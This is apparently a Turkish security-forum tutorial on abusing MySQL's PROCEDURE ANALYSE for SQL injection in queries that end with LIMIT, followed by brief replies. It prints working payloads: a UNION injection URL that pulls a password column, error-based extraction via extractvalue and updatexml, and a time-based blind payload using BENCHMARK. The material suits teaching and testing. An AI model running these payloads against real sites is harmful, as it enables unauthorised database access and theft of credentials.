SQL Injection Procedure Analyse

-> Procedure Analyse nedir ?
-> SQL Injection’da neden kullanılır ?
-> SQL Injection’da nasıl kullanılır ?
-> Demo Uygulama

1) Procedure Analyse nedir ?

Procedure Analyse, MySQL’in kolonlarınız için uygun veri tipi ve veri uzunluğunu seçmenizde yardımcı olmak için sunduğu bir komuttur. Veri tipi, veri uzunluğu gibi değerler performansı etkileyeceği için kullanılmasında fayda görülüyor.

Kullanımı şu şekildedir ;

SELECT * FROM tabloadi PROCEDURE ANALYSE() ;

Resimlerden devam edelim. Localhost’da “prosedur” adında bir tablo oluşturdum. Tablo içeriği şu şekilde ;

2019-05-18%2018-03-26%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Şimdi "Procedure Analyse" kodumuzu deneyelim ve sonuçları inceleyelim.

2019-05-18%2018-01-46%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Çıktıyı incelerseniz, her bir tablo için “en uygun alan tipi” , “en uzun değer”, “en kısa değer”, “maksimum uzunluk”, “minimum uzunluk”, “null değerler” gibi istatistiksel verileri önümüze sunuyor.

Bu teorik bilgiler daha çok sistemi yönetenlerin kullandıkları kısımlardı, şimdi geçelim saldırganların kullandıklarına …

2) SQL Injection’da neden kullanılır ?

Piyasada gördüğünüz SQL Injection dökümanlarında genellikle “WHERE” ile biten sorgular için gerçekleştirilen Injection’lar gösteriliyor.

SELECT * FROM tabloadi WHERE kullaniciid = 1 ;

Şeklinde ki sorguda saldırgan saldırısını aşağıdaki şekilde gerçekleştiriyor ;

http://vvHack.org/sqli.php?id=1' union select sifre from kullanici-- -

Fakat sorgular “WHERE” ile bitmek zorunda değil.

LIMIT” adında, MySQL’de sıkça kullanılan bir komut var. Bu komut “kaç adet data çekileceğini” belirlemede kullanılır.

2019-05-18%2018-42-40%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Resimde görüldüğü üzere “limit 2” yaptığımızda ilk 2 veriyi, “limit 3” yaptığımızda ise ilk 3 veriyi çekebiliyoruz.

Aynı komutu “limit ilkdeger,sondeger” şeklinde kullanırsak da ilkdeger’den son değer kadar ileride olanlara kadar verileri görebiliyoruz.

2019-05-18%2018-49-14%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Peki SQL Injection gerçekleştirmemiz gereken sorgu “LIMIT” komutu ile bitiyorsa nasıl bir yol izleyeceğiz ?

Limit ile biten sorgularda syntax bozulmadan kendi sorgularımızı inject edebilmemiz için “PROCEDURE ANALYSE()” komutu kullanımı gerçekleştirilebilir.

2019-05-18%2018-53-08%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

Görüldüğü üzere syntax bozulmadan procedure analyse işlemi gerçekleşiyor.

3) SQL Injection’da nasıl kullanılır ?

Procedure Analyse() komutu içerisine 2 adet parametre alabiliyor. Yani “Procedure Analyse(1,3)” şeklinde kullanımı gerçekleştirilebiliyor. Biz SQL Injection gerçekleştirirken bu parametreler üzerinden işlemlerimizi gerçekleştireceğiz. Procedure Analyse ile Injection gerçekleştirirken “Time Based” ve “Error Based” sorgular gerçekleştirebiliriz. Bu sorgularda “extractvalue” veya “updatexml” komutunu kullanacağız.

  • Procedure Analyse kullanarak Error Based SQL Injection ile Version çekmek için ;

SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE ANALYSE(extractvalue(rand(),concat(0x3a,version())),1) ;

veya

SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE ANALYSE(UPDATEXML(null,concat(0x3a,@@version),null),1) ;

2019-05-18%2020-25-48%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

  • Procedure Analyse kullanarak Time Based SQL Injection ile Version çekmek için ;

SELECT * FROM tabloadi WHERE kullaniciid = 1 LIMIT 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) ;

2019-05-18%2021-05-31%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

4) Demo Uygulama

Kullanılan Exploit ;

2019-05-18%2022-16-36%20ekran%20g%C3%B6r%C3%BCnt%C3%BCs%C3%BC

17 Likes

Ellerine sağlık kardeşim, burda adımı uzun yazmanda almam gereken bir mesaj mı var? :smiley:

1 Like

“bozkurt” ve “jonturk” ikiside 7 basamaklı.
Procedure Analyse yaptığımda MaxLength değeri farklı, göze batan bişey olsun diye öyle yaptım. Sana denk geldi :grinning:

2 Likes